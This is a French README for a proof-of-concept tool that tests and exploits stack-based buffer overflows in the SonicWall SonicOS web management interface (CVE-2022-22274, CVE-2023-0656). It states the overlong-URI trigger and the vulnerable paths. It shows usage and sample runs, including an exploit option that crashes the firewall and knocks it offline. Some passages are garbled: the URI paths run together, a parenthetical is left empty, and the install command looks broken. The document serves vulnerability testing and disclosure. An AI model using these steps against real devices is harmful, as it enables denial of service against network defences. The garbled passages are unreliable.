
Preuve de concept d'exploitation pour les débordements de tampon basés sur la pile de SonicWall SonicOS (CVE-2022-22274, CVE-2023-0656) qui teste et déclenche des plantages via des requêtes HTTP spécialement conçues.

Le 24 mars 2022, SonicWall a publié un avis avec les détails suivants :
Une vulnérabilité de débordement de tampon basée sur la pile dans SonicOS via une requête HTTP permet à un attaquant distant non authentifié de provoquer un déni de service (DoS) ou potentiellement une exécution de code dans le pare-feu.
NOTE : Cette vulnérabilité n'affecte QUE l'interface de « gestion Web », l'interface SSLVPN de SonicOS n'est pas impactée.
Le 2 mars 2023, SonicWall a publié un autre avis similaire :
Une vulnérabilité de débordement de tampon basée sur la pile dans SonicOS permet à un attaquant distant non authentifié de provoquer un déni de service (DoS), ce qui pourrait entraîner le plantage du pare-feu impacté.
NOTE : Cette vulnérabilité n'affecte QUE l'interface de « gestion Web », l'interface SSLVPN de SonicOS n'est pas impactée.
Les deux problèmes sont liés au même modèle de code vulnérable et utilisent la même charge utile d'exploitation, mais sont déclenchés à différents chemins URI.
Le débordement de tampon est déclenché via une requête HTTP avec un chemin URI de plus de 1024 caractères. CVE-2022-22274 peut être exploitée à /resources/ ou au chemin URI Advanced Threat Protection ( si activé ou si désactivé). CVE-2023-0656 peut être exploitée à ou .
/atp////stats//Security_ServicesCe dépôt contient un script de preuve de concept pour tester la vulnérabilité d'une cible sur les quatre chemins URI. Il effectue un test sécurisé par défaut, mais a la capacité d'exploiter les bugs et de faire planter la cible également.
NOTE : Dans sa configuration par défaut, 3 plantages consécutifs sur une courte période amèneront SonicOS à redémarrer l'appareil en mode débogage et il sera inaccessible jusqu'à ce qu'un administrateur le remette en ligne. Utilisez de manière responsable !
Installez Python 3 et exécutez python -m pip install -y argparse.
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
Tester une cible vulnérable :
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
Exploiter une cible vulnérable :
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
Tester et exploiter une cible corrigée :
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
Ce projet est sous licence GNU GPL 3.0.